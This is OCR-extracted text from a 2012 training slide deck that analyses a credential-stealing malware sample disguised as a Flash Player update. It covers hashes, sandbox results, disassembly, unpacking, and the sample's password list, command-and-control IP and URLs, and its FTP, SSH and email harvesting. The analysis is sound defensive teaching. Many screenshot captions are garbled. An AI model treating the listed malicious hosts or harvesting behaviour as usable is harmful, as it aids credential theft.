® Dynamic Analysis: Safe running, change flows Marme

||E| update_flash_player.exe

» Results?

® What is the expected behaviour?

® What is the real risk?
® [f successful, how to protect users, data, assets?

® How to improve anti-malware facilities

Copyright © 2012 Murex S.A.S. All rights reserved



Malware Static Analysis

» Compare
® SHA256 Hash: “f0c30af952aebaaf231434772028feecec3a05d|3a0aadd2e00c8cf37ee7flcl”

® Unique ‘strings’ in binary?

® Any way to find previous research results for file?

GOUS[Q f0c30af952aebhaaf231434772028feecec3alsd13a0aadd2e00c8cf37eeif1c] n

Weh Images Mare = Search tools

Your search -
f0c30af952aebaalf231434772028feecec3albd13a0aadd2e00c8cf37ee7f1c1
- did not match any documents.

Suggestions:

e Make sure all words are spelled correctly.
e Try different keywords.
e Try more general keywords.

Copyright © 2012 Murex S.A.S. All rights reserved



Malware Static Analysis

» Scan

® VirusTotal: | 1% detection rate

McATsa

® Nothing for McAfee, Trend, Kaspersky, Microsoft
McAfee-GVW-Editon

® Potentially not safe, but not flagged

Microsoft

Microwoarld-eScan

" Norman W32/Kryptik. 8VWM
' ol o nProtect

Panda Sspicious file
PCTools
SHAZSE: Oc30af9s2ashaal231434772028feececials
Rising Maiware Symmil43Co
File name: update flash_playerexe Sophos

SUPERANNSpyware

Detection ratio;. 5/44
Symantec

Analysis date: 2012-11-0110:00:40 UTC { 9 minutes ago )

TheHacker

_TotalDaetense

TrendMicre

Source: https://www.virustotal.com/file/fOc30af952aebaaf23 1434772028feecec3a05d | 3a0aadd2e00c8cf37ee7fl cl/analysis/ 1352113402/
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https://www.virustotal.com/file/f0c30af952aebaaf231434772028feecec3a05d13a0aadd2e00c8cf37ee7f1c1/analysis/1352113402/

Malware Static Analysis

» Online Sandboxes GFI SandBox  Analysis # 27190
Sample: update_flash_player.exe (3e0834994874ce0632fed0aldca46987)

® Safe environment for analytics

Analysis Summary

O Network, system

Submitted File: update_flash_player.exe
MDS: 3e0834994874ce0632fed0aldcad6987
. File Size: 144144
® Previous research File Type: PE32 executable for MS Windows (GUI)
Intel 80386 3
Analysis Time: 2013-02-12 10:34:52
[ ) Sha re new th reats.. Start Reason: AnalysisTarget
Termination Reason:  Timeout
Start Time: Tue, 12 Feb 2013 15:36:47 +0000
Termination Time: Tue, 12 Feb 2013 15:37:48 +0000
Network Events Analysis Time: 2013-02-12 10:34:52
Sandbox: XPSP3 - 00-0C-29-5E-B4-D8
Remote IP Local IP HTTP Command Total Processes: 1
[process 1]  173.246.103.59 10.20.25.247 POST Shinple Notse:
UEITIETNGT X B pigital Behavior Traits
[process 1] 173.246.103.58 10.20.25.247 POST Alters Windows Firewall — Hooks Keyboard —
forumiviewtopic.phy Checks For Debugger — Injected Code wo—
POST Copies to Windows - Makes Network Connection v
st Could Not Load — Modifies File in System —
f Creates DLL in System — Modifies Local DNS L
[process 1] 173.246.103.59 10.20.25.247 POST c s EXE in System = More than 5 P = —
fforumiviewtopic.phdl | Creates Hidden File v Opens Physical Memory —
[process 1] 173.246.103.58 10.20.25.247 POST Creates Mutex Starts EXE in Documents =
v
Horumiviewtopic.phyj Creates Service — Starts EXE in Recycle —
[process 1]  173.246.103.59 10.20.25.247 POST Deletas File in Systom — Starts EXE In System —
Horumviewtopic. ph Deletes Original Sample — Windows/Run Registry Key Set -y

Created Keys

key
[process 1] \REGISTRYWSER\S-1-5-21-298502267-826492609-1801674531-500\Software\Win RAR
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Malware Binary Static Analysis

» Describe
® |44k in size
® “file” (Linux): PE32 executable (GUI) Intel 80386, for MS Windows

® Review in hex editor and with “strings” (search for easily readable text)

| reateThread.
|CreateEventh. F
|1-—1’—'F . .GetPr
|vatePrc ‘rJ.'I Inth.
| . .GetPrivateProf|
|
|
|€

y
I
i
I

11 IntW...GetPri|
atePrc TlW— trin
gW. ...GetPrivate|

|Prc T11—-T|1h|— -

| T.GetTickCount. .|
| .GetPrc 1—|I|—+ |
|....L+aJL1L|1|.—|
|....lstrcmpiA. . .|
|Lstremph.  A.Unma|
|[pViewOfFile...Cr|
|eateFileW.x.Crea|
|teFileh...GetFul|

| LPathNameWw. .y .C

|eateFileMappingh

| ....GetFileSize.

| . .HeapReAlloc .h.

|ReadFile. ... .MapV

| iewOTFile . KERNEL

[32.d11..1.GetKey

31 Copyright © 2012 Murex S.AS. All rights reserved A MUREX



Malware Binary Static Analysis

» Describe

® Remainder is encrypted, packed, obfuscated!?

32 Copyright © 2012 Murex S.AS. Al rights reserved A MUREX




Malware Binary Static Analysis
» Basic Disassembly

® Displays most accessible data from binary file

® “objdump” (Linux): PE-i386, Entry Point, “stripped”, Windows system-calls

Copyright © 2012 Murex S.AS. All rights reserved A MUREX




Malware Binary Static Analysis

» Basic Disassembly: Assembly

® | ot’s of “XOR”

® Likely ‘packed’

Copyright © 2012 Murex S.AS. All rights reserved




Malware Binary Static Analysis

» Binary Packing

® Common for malware, commercial/free packing tools to check

® File appears packed, but not using common tools

() Exeinfo PE - ver.0.0.3.2 by A.S.L - 667sign 2012.09.11  [S] =B

2 PED v0.95

Fée: E:\scan\update_flash_player.exe

+ |000015C0

: = Entrypoint: |000015C0 EP Section: | text >

000009C0 FRStBVeSaN 55.55.6C.53.ECl | M s M piug
_ !ng Fie Offset: | DODDDSCO First Bytes: '55,88,EC,83 >

2.50 i Windows GUI 7 About |
Linker Info: ' 2.50 Subsystem: |Win32 GUI > |

o0023310h M [ options |

ENothing found [Overlay] * I
- . l

jv Stay on top

bagland, com - [ modified ] —-m
v

r . T
F[EIRE Not packed |, try disassemble OllyDbg { .ollydbg.de ) or 'WD32dsm !

E:\BB.Tools.Real\Misc\upx388w.packer.unpacker\upx388woupx.exe —d update_f lash_pl
ayer.exe

Format

Unpacked 8 files.
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Malware Binary Static Analysis

» Disassembly

® Time to look closer, dissect code using static dis-assembler

® Assembly (raw) code organized into context, flow and architecture

® |DA Pro (free/demo edition): www.hex-rays.com X About ==

IDA - The Interactive Disassembler

® On opening: imports segment destroyed

Version 6.3. 120822 (32-bit)

® |mportant anti-debugging option: “IsDebuggerPresent”

{c) 2012 Hex-Rays SA

Evaluation version
with the following limitations:
1. Only PE/ELF/Mach-O files are supported
2. Itis time limited
3. Save is disabled

www.hex-rays.com

Warning

"'-n., The imports gegment zeems: to be destroped. This MAY mean that
] the file was packed ar athemwize modified in order to make it

more difficult to analyze. IF pow want to see the impartz

geqgment in the anginal form, please reload it with the

'make impartz section’ checkbox cleared.

[ ] Don't dizplay thiz message again
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Malware Binary Static Analysis

» Disassembly

® Functions
® Addresses (offset)
® Strings

® Flow

Copyright © 2012 Murex S.A.S. All rights reserved

& IDA - E:\O1 Leus\Copy (3) of update_flash_player.exe - [Functions window]

\lﬂ] File Edit Search Wiew Debugger Options  Windows  Help
= H ' |Te:-:t VI V| =
ERER /B BE N | ®T]| v 8
B En '
F% B

| v Ml | | | [ |

DA tigwm-A, Hex Wigwm-2, gﬁ Ewparts I% Impartz | N Names| \lﬂl Functions |..____.. Shrings ﬂ Chuctures | En Enume
*  Function name Segment Start Length R F L 5 B T =

\LF_I] zhart et 004015Cc0 000002DF R ]

\LF_I] zub_407020 et 0401020 noaoociD R B

\LF_I] zub_407040 et 004071040 noaoooiC R B

\lﬂ] zub_4071060 et 004071060 noooootn R B

"E_I] sub_401070 et 0401070 Q00oooog R B

\LF_I] zub_ 4070230 et Q0407020 Q000005E R ]

\LF_I] sub_4010ED et 0040710ED noaoooED R ]

‘LF_I] sub_401120 et 0401120 nooooota R ]

\LF_I] zub_401140 et 00401740 00000E0 R ]

\LF_I] zub_401520 et 0401520 noaoooiC R B

\LF_I] zub_401540 et 00401540 noaoociD R B

\lﬂ] zub_401560 et 00401560 Q00ooosE R B

"E_I] sub_40184A0 et 00401840 00000oBF R B

\LF_I] zub_4071360 et Q04071960 Q0000067 R ]

\LF_I] sub_401500 et 004071800 00000084, R ]

‘LF_I] sub_401A60 et 004071460 00000o0aF R B .

\LF_I] sub_ 401810 et Q0401e10 noooooy2 R BT

\LF_I] zub_401B30 et 00401B90 Q0000039 R B

\LF_I] sub_401BDO et 00401EDO 00000408 R B




Malware Binary Static Analysis

» Disassembly

® Possible execution flow

sub_4010ED sub_401520

sub_4018A0 sub_401020 sub_401580

sub_4019360 sub_401540 sub_401810

sub_401070 sub_401040

sub_401A60

sub_401BD0

sub_401140 sub_401120

sub_401300 sub_401080
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Malware Binary Static Analysis

» Disassembly

® ASM Code showing XOR routines, Registry events

push esi
push edi
noy [ebp+var_Z8], offset sub_401520

ma dword_423100, ebp

noy [ebp+var_ZC], 0

noy [ebp+var_3C], B000000Zh

noy [ebp+var_50], offset aSystem; "SYSTEM"

now [ebp+var_C], 1471h
now [ebp+var_C], 1471h
nav eax, ReglpenkeyExh

now [ebptvar_4C], eax

lea ecx, [ebp+var_54]

push eCH

push 200180

push a

push offset adhl ;981

push 80000001k

call [ebp+var_4C]
test eax, Bax

inz short loc_401633

MmO [ebp+var_58], offset aCurrentcomtrol; "CurrentControlSets\ControlisContentIndes”

00401896
war ea,

ek

; UExitCode

+
Toc_401633 :
Tea eds, [ebp+var_54]
push edx
push Z0019h 004016%4:
push a push o
Mo eax, [ebp+var_50] call ExitProcess
push eax wor eax, eax
push B000000Zh Jnp loc_401838
call [ebp+var_4C]
test eax, eax
iz short Toc_401E5D
[
-
Toc_4 01650 :
lea ecx, [ebp+var_54]
push BCH
| R | | |push  20013h
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Malware Binary Static Analysis

» So, what do we know?

® Windows(32 bit) executable file

® Not really recognized/new threat

® Most likely packed code, possibly more
® Several general Windows function calls

® What does it do?

® No operational data yet

Copyright © 2012 Murex S.A.S. All rights reserved

Opening update_flash_player.exe

¥ou have chosen to open:

E update_fash_player.exe

which is a: Binary File (67.5 kEB)
from: http:/fskodadiseltunning. org

would wou like to save this file?

Save File ] l Cancel J




Malware Binary Dynamic Analysis

» Dynamic Code Analysis

® Debugger (OllyDbg - free) to run binary in a controlled environment:
O Ability to walk through execution routines step by step
O Can set interruptions (breakpoints) in the code at any point to stop and look around
O Obviously on a test workstation, isolated from protected networks, storage

O Physical hardware best, not on aVM, no analysis or forensic tools (IDA!), ProcExplorer, etc.

» System State & Monitoring Tools

® Live Analysis:
O Registry: RegShot, RegMonitor

O SysiInternals: ListDLL’s, Process Monitor, Process Explorer, Registry Monitor, AutoRuns, Disk Monitor, etc.
® Live forensics versus Memory dump analysis

® Other:hash of critical files (svchost.exe, explorer.exe), process injection?, RootKit,ADS

» Network
® Set up lab: LAN, DNS,HTTP server (“forum.php”), FTP server, etc.
® Client: netstat, routing tables, TCPmon, DNS host file

® Wireshark: DNS, HTTP, SSL, FTP, side-channels, UDPf

Copyright © 2012 Murex S.A.S. All rights reserved



Malware Binary Dynamic Analysis

» SysInternals Tools for processes, threads, file & registry access, TCP

upate Nash_player exe pid; 225

Ox77¢10000 Ox58000
77400000 0Ox13e000
90000  Ox817000
fE0000 O0x76000
0x773d0000 0x103000
ww_61655202\conct132.d11
0x3d930000 OxeE000
Ox00910000 0Ox9000
Ox78130000 0x133000
O0x77120000 0x8b0O00
0x3dfd0000 Ox1eb000
Ox71add000 0x9000
0x71ab0000 0x17000
Ox713a0000 0Ox3000
Ox769c0000  Oxbd000
Ox5ad70000 Ox38000
Ox74720000 Ox4c000

,00.2600,5512
.01.2600.6168

00.2900.6242
.00.2900.5912
.00.2900.6028

,00.6001.19328 C:\wINOOWS\system32\winipet.dl] 1
00.5441 . 0000 WWINDOWS\system32\Normaliz, d11
.6001.19328 WINDOWS'\systen32\urimon.dll 2 ptdll dINKIF astSwsternmCallR et
01.2600.6058 INDOWS\5ystem32 \OLEAUT32.d11 |
00_6001.19328 C:\WINDOWS\systen32iiertutii.dl 3 kemel32.dilSlep+0:f
01.2600.5512 mw..s-.s,s:emz \wsock32.d11 4 update_flash_player. exe+IxibaF
5
£

= “.IlN()O.SI'-ASyS(fﬂ?‘J".VIS\'(FY .d1
TANINDOWS\system32\olei2.d1]
SAWINDOWS\system32\shel132.d11
t\WINDOWS\System32\SHLWAPI.d1]
SAWINDOWS\WInSxS\XxB6_N1crosoft. windons . Conmo)

I Stack for thread 2168

Comvand line: "c:\update_flash_player.exe”
— give verEfn PSTh TCR{IP Security Enwironment = ShrimgsEs i
Ox00400000  0x28000 ¢:\update_flash_player.exe Image Performance Performance Graph | Threads
Ox7¢900000 0xh2000 L,01.2600.6055 C:\WINDOWS:System32\ntdll.d1)
D e 3 e N
X78 X ; C: \WINDOWS\5y5Tem32\USER :
Ox77£10000 OX49000  501.2600.5698 C:\NINDONS ;tcmi;"-.(-mi.’.dﬂd” TID CSwitch Delea | Start Address
Ox77dd0000  Ox9b000 L01.2600.5755 C:\WINDOWS'\system32\ADVAPI 32
0x77670000 0x33000  5.01.2600.6022 C-\WINDOWS\system32\RPCRTA.di1 I e +  update_flash_player.exe+0x15c0
0x77fe0000 0x11000 .01.2600.5834 C:\WINDOWS\System32\secur32._dl]l 2120 abvaPTEZ, dilvwWmiFreeBuffer+0xa?
0x50090000 0x9a000 .82.2900.6028 C:\WINDOWS'System32\comMcTL32.d1]
0x763%0000 Ox1d000 .01.2600.5512 CIAWINDOWS\System32\IMN32. . DLL
C
C
c
c
c

ntkrnlpa.exelk.g5 ynchlonlzeE Hecutl0n+D:<Zac

01.2600.5512 \system32\ws2_32.d1] update_flash_plager exe+0:102F7

b ' 2\ i - "
3{ §m2§§3 \:::.:zg ::5::-,: 311 kemel 32, dlR egizters aitF orl nput dle+0x49

.00.2900.5512 WINDOWS\system32\uxthene .11 Thread ID:
01.2600.5512 IINDONS*});!MP \MSCTF.d11

0x77a80000 0x95000 131.2600.6239 WINDOWS', sysler-l"crwu’ dil Start Time:
0x77H20000 0x12000 600 \WINDOWS \SySTen32 \Msasxl. dl]

Ox3b860000 Ox55000 01.2600.6260 \WINDOWS\SysTen32 metam32 di Skate:
Ox76100000 Ox2bcD00 01.4001.5512 \WINDOWS\system32\nsi.d11 :
Ox5e0c0000  Oxd0OO 01.2600.5512 WINDOWS\,system32\pstorec.dll Kernel Time

Ox76620000 O0x11000
0x10000000 0x2e000
0x00cb0000  0x18000
0x00cA0000  Ox7000

Ox00ce0000 Ox2d000

:'-,umwus‘._s /stem32\ATL.OLL -
\Program F‘nes‘._noz\'nu Firefox\nss3_d11 User Time: _CDI:'.HJ _DK

\program FilesiNozilla Firefox\nssutili.dl)
\erogram Files\Mozilla Firefox\plcs. dll Conkext e T —
\Program Files\Mozilla Firefox\nspr4.dil

o B W AW NN A AV VIO A TR T 00 OO0 O WA S UL LA WS W
> (=4
(=)

S
1 update_flash_pl:2152 Openk.ey HELMMS aftwarehFilefilla Clignt SUCCESS Access Ow20019
9 update_flash_pl2152 Quentdalue  HELMAS aftwarehFileLilla Clienth[D efault) SUCCESS "C:A\Program FileshFileZilla FTP Clignt"
E update_flash_pl:2152 Huentfalue  HELMAS aftwarehFileZilla Clienth[D efault) SUCCESS "C:A\Program FileshFileZilla FTP Clignt"
1 update_flash_pl:2152 Guenidalue  HELMAS oftwarehFileZilla Clients D ef ault] SUCCESS "C:AProgram FileshFileZilla FTP Client"!
1 update_flash_pl:2152 Cluenifalue  HELMAS oftwarehFileZilla Clhent D efault] SIICCESS "C:AProgram Files\FileZilla FTP Clent"!
1 update_flash_pl2152 Clozekey HELMYS oftwarehFileZilla Client SUCCESS
" denieiiiaiin — il i
6074 155227 update_flash_pl:2976 CREATE CHDOCUMEY Dy dublindLOCALSY 1\ Tem phabed. bat SUCCESS
6076 155327 update_flash_pl:2976 WRITE CHDOCURE~ Dy dublindLOCaLs~ 1\ Temphabed. bat SUCCESS

- Copyright © 2012 Murex S.AS. All r




Malware Binary Dynamic Analysis

» OllyDBG

- [CPU - main thread, module update_f]
File Wwiew Debug Plugins Options Window Help

Bl x| v wied $4 w| +f vjejmjT|winH|[c|/|K[B|R||5]

|
|
& 3|
=)

55z [EBP-23]1,update_f.8048
DS:[422160@], EBF
S5: [EBP-2C1,8
55z [EBP-3C], 50060862
S5z [EBP-EG], update_f. 0042
553 [EBP-581,update_f. 8042
55: [EEP-C], 1471

L) OWORD FTR S5: [EEF-C1, 1471

ERX, DWORD FTR DSz [<&A0UAF 132, Reglpe

o DWORD FTR S5: [EEF-4CI,EAR

. 304D AC LER ECx,OWORD PTR SS:[EBP-541

. 51 PUSH ECH

63 19886268 |PUSH 28819

. G6A B8 FUSH @

. 68 28084288 |PUSH update_f.08428838

. B8 B1BEEEZA | PUSH SEEE0EE1

. FFE5 B4 CALL DWORD FTR S5:CEEP-4C]

. B5CA TEST ERx,EAX

w75 BF JMZ SHORT update_f.08481632

. GA BA PLI:

. FF15 34294208 CALL DWORD PTR DS:[<%KERMEL32.ExitProce

Fad 711<4a

o)
rALLARLAALAARAARAARELREE

RASCIT YSTEN™

ASCII "CurrentControlSet~Control~ContentIndex™

ASCIT "aci™

ExitCode = B
ExitProcess

Regizters (FPL)

HEHEEEEE

Ba12FFEQ

FCOBEE14 ntdll.KiFastSustemCal LIRet
TFFDEBEE

B812FFC4

BE12FFFE

FFFFEFFF

FOO1E228 ntdll.7Co18228

BE481ECH update_f.<Modu leEntruPoint

ES it B(FFFFFFFF)
cs it G(FFFFFFFF)

@i FFFFFFFF
i} @i FFFFFEFF1
FS it FFFOF@@ELFFF)
[+
LastErr ERROR_MO_IMPERSOMATION_TOKEM (@@EG0ES100
BeEEG246 (MO, NE,E, BE, NS, PE, GE, LE)
enpty —UNORM EOEC @1658164 GREEEEGE
oty 6.8

a.a
|.8

Quick statistical test of module 'update ' reports that its coce section is either compressed, encrypted, or contains large amount of embedded cata.
Pesuks of code analysis can be very unreliable o simply wrong. Do you want to continue analyss?

h

@ Local D

| Pavsed
] f(_’_.:_, Mo s



Malware Binary Dynamic Analysis

» After loading, but prior to run, some additional ‘static’ details seem evident

® Registry, file creations, strings of CHAR’s

- [Dump - update_f:.data 00420000..00423FFF]

€] - ¢
ERE I THETIES HHJJJ Hc|/|k|B[R[..|5]

ElEESE]
aB4 15303
a54153CA
64 { 53CE
854 1 8800
aB4 15300
8 ; o1 atr

. sesss .
ceessess008.< ene 1808 .ccanse BE4 1 2508
2 iF #8..40, . +8.F+8.b+8.x+0.e+0. h+0. | Qf| 20412201
)| & ®. F+0.‘1"*0.2+0.~r -] 0 $,0.5,0 F,® 9.5,6.4,08.2,8.4,08. | Q6412208
+,0.i,0.1,0.¢,8,° p~0 9.~-0.9-0,2 | aa4 15304
3 7-8.0-8.6.0.0.0.4 R e.....n.e.u.o.a.e.r.o.é.e. 2.8.-.8.5.8./ e
2.8 -.0../0.0/0.[/0..... Ds8. XIO /8.r78, /.- /8.0/8../8 . . @E41 2207
2/ | 20412903
a54 15309
A54 1 5300
854 1 250
aB4 1 5300

sl E1Rll ¢

e RB"-;B”HFB"’KE”NSB’ OC".IER'e—F”NuB'I”B"& C"Q<B | SS:%EEBE
/UB’. sestiatupluyoteliswtatyeatw U iwidtwe 2w, pruBiurdtunt u @64 LS20F
u‘ 2w ktwaZ twlvzu. .. R W o P20 T1F. 138,39 1. 0%, 0., (OGQGCPIMO. | G641 BEER
S0Ex itProcess.Tonrtualﬂl loc.. ‘BinterlockedIncrement, .¥ Olnterloc‘ ggiigggé
kedDecrement..?.EnterCriticalSection..nBLeaveCriticalSection..?.| GB4 150
DeleteCriticalSection.i8InitializeCriticalSection. iBGetCurrentTh) G541 55E4
readld, .GOFormatMessageR. . *0GetModu leHand leR. . 98GetStartupInfoR. | EiarEas
+oMu Lt iByteTolideChar.oDGetCommandl ineR.{lelstr lenll, .DOGMConmndt A6410oES
JLinell. udGetVers ionExA. ¥8HeapAl loc. 88GetProcescHeap. . iBHeapFree. .| 941 S5ES
) (BGetModu leF i leNameR. . JBGetModu LeF i leNamell, .zellideCharTolu lt iByt | SSQ{SSEE
3| e.mOGetFul IPathNameR. .pOGetLastError, . ; 8GetStdHandle. . H0GetF i leT AR4150EE
.C.CloseHand e, “eSetEvent..u.CreateThread. . r.CreateEventA. .RO| oA SEEC
tACP. .-OGetPrwateProF i lelntn QOGetPrwateProF ilelntll, #8GetPri| 8B4 183ED
vateProf i leStei : eStringf. . FOGet TickCount. .| Il | 54tEaEE
8GetProcRddrg | t_sadL '. strémpif.relstromph. .ReUnma 54 1 SEFE
pViewlfFile.odC -C DGetFu | IPathNameW., .v.Cr| 84125 1
eatefF i leMapp i fraf | loc.heReadF i le. .. eiapy QR 52515502
iewDfF i le. KERNEL32. dl | §5¢8 IOGetKeyState. fIsRectEmpty. TOLoadStr i ing @< A4
A. *BLoadCursorFromF i leW. #.ChangelisplaySett ingsExA. .=, EdltUndPro [ Q041 20F0
c.9.CharUpperBuffll, .BﬂhregtsterHotKey. +0GetCursorPos. .0

indowPos. .4.CharToOenBuffA. .d.Createtienu, . 20Insertienull
esktop..USER32.dl1..R.CreateSol idBrush. L

.. I.CreatePen. (BGetStockObject. . ~6F ? | Address ASCII
eRan....CreateCompat ibleDC..-. gBitmap. .FBRectangl G Z AR AR SYSTEM, »
@ c. ?ONOWTOEN. «~.DeleteDC..#8L1L 10GetDevioceC| Ji|2iza00e SR
M.CreateRectRan.G0IZ2.dl 1. 2.dll..t.Im| AE4=ae1S gﬂcﬁﬁwg
ageL ist_SetlconSize.n. Imagel ist=f el i | BB4ZHHZE [~Conten

..CreateStatushindowll. 1. ImageList_| Reﬁove. : ggiggggg

B T R I AR ARIE

P T PP B 20045
|

20420045

BE420858

B4 2HEER

BiE42EEE5S

AE4Z2E87E

Copyright © 2012 Murex Il rights reserved




Malware Dynamic Analysis

» Specific Windows calls are discovered, shows some potential intentions

L 0 . L 53 L B 1
Ba480080 | BBR23000 BR4A15CH update_f 1581, 2eussupdate_f lash_plaver.exe
SD6%6800 | 0E9R6668 SDE934EBR COMCTL32| $.82 (spsp_sp3_¢ CiWINDOWS sy sten32 COMCTL32.d1L 1
76390000 06210006| 76391208 IMM32 5.1.2680.5512 ({C:\WINDOWS \system325IMM32.0LL
YrDDBana | oa9eaaa 77007168 ADVAPI32| 5. 1.2688,5755 ({ C: \WINDOWS~systenm32:ROVAPIZ2.dL 1
77E78000| 88893608 PYEVE28F | RPCRT4 5.1.2680.6022 (i C: \WINDOWSNsystem32 \RPCRT4.dl11
Y7F18606 968420068 77F16587 GDI32 5.1.2680,5698 ({ C:~WINDOWSNsystem32°\GDI32.dL1
77FEQGDG BBO11006 77FE2146 Secur32 5.1.2600.5234 ({ C: \WINDODWSSsystem32\Secur32.dll
7CenBant | ARaFEn0n 7CEUBE4E kernel32|5.1.2600,5781 (f C: \WINDOWS system32 kerne 22, dL L
7Co80000 | BOBB2000 7CI120F2 ntdll 5.1.26008.6455 ({ C:sWINDDWSNsystem32hntdll.dll
7E410006| 006916008 7E41B217 USER2Z £.1.2600,5512 (i Ci~WINDOWS Nsysten32 \USER32.dL L

» Executable Modules, imported functions

® Comctl32: Common Controls, basic Windows functions

® |[MM32:is a library used by the Microsoft Windows Input Method Manager (IMM).

® ADVAPI32: advanced API services library supporting numerous APIs including many security and registry calls.

® RPCRT4: Remote Procedure Call (RPC) API, used by Windows applications for network and Internet communication.

® GDI32: contains functions for the Windows GDI (Graphical Device Interface) which assists windows in creating simple 2-dimensional
objects.

® SECUR32: is a library which contains Windows Security functions (Credentials, tokens, encryption)

® KERNEL32:is the most important Microsoft Windows Kernel. Functionality addressing most of windows functions are linked to this
kernel DLL in some way

® Ntdll.dll is a module that contains NT system functions

® USER32:user32.dll is a module that contains Windows API functions related the Windows user interface (Window handling, basic Ul
functions, and so forth).

Copyright © 2012 Murex S.A.S. All rights reserved




Malware Binary Dynamic Analysis
» Tip-toe through execution process to unpack data
® Breakpoints: Steps and leaps, run-until-returns,VirtualAlloc (memory write)

® Watch Hex dumps, memory stack

x| »n
® Interesting data quickly appears! RS T I ———

........-.......................'.

W‘M QO IMg T

| | R B am vttty 125, Jesut, I ZMEATE, 120, s 1 23, Lo
3 n-m.uu.lm &MMC; um Mnk ey dragon. tevstasl 20510
1. 4 foveyou, 1394 CAF it vaneh Lng nadtaT , ComDe
ur.pv-u«u.u'nr.lmbau e L, jesus L 12120 vh st ever. f reeds
Mo b L L, 0006, 400007, UDETAMN . AL OA pr |, Cheese. Interaet, Joshus, fuo
t Srou DIeved. Datetal L. st aswars, L DuTD e, Jorden . f Bith, werne
3t R e s i T L T T 1hoeas
. gl chariie.dan el tnl..‘mﬂn.uult.&mw.mm.hm
RATT LW DIYE. APDRSR, LANIT WROSA ARG, BINONT , NOTAEE. SA000Y , Je
‘ue‘.wlo‘ﬁ.”cm.ﬂmul.lllll P At AN A LOn . Juit i, Jan
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. AT AT L OR , 000 L 0uw . Sav O CAUTON 100D, POS, BEAY L0y, NON
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1444 .. xw L MOF ILEWL O 0. . o o o 0. POV
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Mw « o ON0, SOf tuare W inkRE, open . B,
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Malware Binary Dynamic Analysis

» Binary Packer discovered: aPLib v1.01

® Can download APl and run our own unpack now

® Continue to review unpacked in OllyDBG

5 15 L 3 W)
A4l 2FEZ
A4l 2FF2
AEd 13832
Ab4 13672
AEd 1 38aE2
A4 1 36F2
AEd41:3132
AEd413172

.................. aFLib w1.81 - the smaller the better zl..Cop
wright (2l 1992-260861°9 by Josergen Ibsen, ALl RBights Beserved..... M
are Lnformation: https < WWW,. ibSENEs0f tWArE e COM" s s s s s s s s s s n n s nnuns
.............................................. UnHkLE—a=rTod ab—05
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Malware Binary Dynamic Analysis

» ASCII data in stack

Bl s anaatsaanae s nas s daac ot saa vt 22456, password. phpbb. Qwerty. 1
«Jesus. 12345678, 1234, abc123. letmein. test. love. 123, suordl hell
(o.monkey.dragon. trustnol. 111111, | loveyou. 1284567, shadow. 122345678
9.christ,sunshine.master.computer.princess.tigger. football.angel
EZ2 WJjesusl.123123.vwhatever. freedom. kil ler. asdf . socoer. superman.mioh
22 ael.cheese. internet. joshua, fuckyou.blessed.baseball.starvars. 808
o2 088, purple. jordan. faith. sumnmer. ash ley.buster.heaven. pepper, 777er
121 77.hunter, love.g .andrew. thomas. angels.charlie.daniel.1111. jenn if
EZ er.single.h QazwsH.happy.matyix.pass.aaaaaa. 321.amanda.n
22 othing.ginger.mother.snoopy.jessica.welcone. pokenon, i loveyoul. 11
o2 11i.mustang. helpme. justin. .)asnine orange.testing.apple.michelle.
peace.seoret.l.grace.willianm. i loveyoul2.nicole. 6666, muffin.gate
£2 way.fuckyoul.asshole.hahaha.poop. blesslng blahblah.myspacel.matt
2 hew.canada. sl lver.robert. forever, asdfgh.rachel.rainbov.quitar.pe
o2 anut.batman.cook ie.bailey.soccerl.mickey.biteme.hellol.eminen. da
A2 kota.samantha,compag.diamond. tay lor. forum, john316. richard.blink1
E2} 82s ouchcs.oool f lower.scooter.banana. james. asdf asdf.victory. lon
22 don, 123que. 123821 . startrek.george. winner.maggie. trinity.online. !
) o2 23abeo.chicken. Jun lor.chris. passwird. aust in. sparky. admin. mr!ln g
HZ oogle.friends.hope.shalom.nintendo. look ing.harley. smokey . 7777, jo
$144E uﬁh lucky . dm(tal.a.thundcr.smrlt.bmdlt.cntw.mthmz.oorwtt
ockey.power.benjamin. L loveyout. 1g2w3e.viper.genesis.knight.qw
62 ertyl.creative.f .adidas.rotini.slaver.visdon.praise. zxcwbnn
2 esanuel.mike. dallu.mm testtest.maverick.onelove,david
-2 wchurch.friend.god.dest iny.none.microsoft., .bubbles. muu
22/ 1.cocacola, jordan2s, il od. footballl. loving.nathan emmanuel,sc
o2 ooby.fuckoff.sammy.marwell. jason. john. 1q2w3edr.baby.red123.blabl
AZ a.prince,quert.chelsea, 55555, ange l 1. hardcore. dexter, saved, 112233
£2 Jhallo. jasper.dan lcllc.klttm.oa“le.stclla.prayor hotdog.window
<. mstdte.qate«s bill tes.ghbdtn.gfhikn. 1234567898, .crypt tmp lus.
t v .

® Password list?

® HTTP strings (POST/GET)

® Crypt phrases?

® Registry keys & Windows API calls

® |ntention of malware clearer

Kok e
A8414722

A8d41476:2
WiAd 14 7R
A84147E2
AE414822

lor T . I N Pl

s.mUstdie.gates.bil lgates.ghbdtn.afhikm. 1234567898, .cruptimplus.
http:-<8.koguis.com-forum-viewtopic.php.httpi-<8.adel lelemaire.

rgsforumsuiewtopic.php. chttpr ssUoyagercsyetems. cosEcYdbYlUf . ede . ht
tp:ssmarketer—school.netHFFATWTHP.exe. . YUIPWDFILEBYUIPKDF ILEAYUI
CRYPTEDBYUI1.H.....8.MODUBEE+$. " 4. SOFTWARE~M icrosof t~l indows™~Cu

T : T T L : O | £l

A1 20EHE0
A1 20e4A
A1 20626
BE120eCH
A1 507 8A

Rlelhlhhlkieh ... NBIAE+ POST Aforum-wviewtopic.php HTTPA1.A8..Host
S.koguis.com. . Hooept :
antent—-Length:
nsoctet—stream..Content—-Encoding:

identity, #;g9=8..C
Close..Content-Tyupe: applicatio

binary..ldser—-Hgent: Mozilla~4g.

#-%, .Hcocept—-Encoding:
35@9. .Connect ion:

Ad1:=0740
ETERB=lmd=1E

Biiicnnpagichiles RS TEE: Sl ol S S G i e i e i s e
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Malware Binary Dynamic Analysis

» Data harvesting: FTP, SSH, Email accounts, passwords, certificates from files, databases, Registry

BE41c2CH
86415968
86415948
HE4 15954
HE4153CH
64 1 sHEE
B4 1 eH4E
BB 1 cHEH
86841 cACH
86841 cBaE
#6841 6E44
Ha04 1 6B2H
#6841 6BCH
Bi4 1 eCaE
BE4 16048
BE41cC2H
86841 cCCH
B64 1 c0aE
#6841 6044
a64 16026
i1 e0CH
Bi4 1 cEQE
B84 1cE44
86841 cESH
86841 cECH
#6841 6FBE
BE416F 44
HE416F 24
B84 16FCH
8641 YERE
86841 7E4a
86841 7ES8
B84 1 PECH
BE417 184
BE8417 146
BE417126
B84171CH
BE41 7206

-
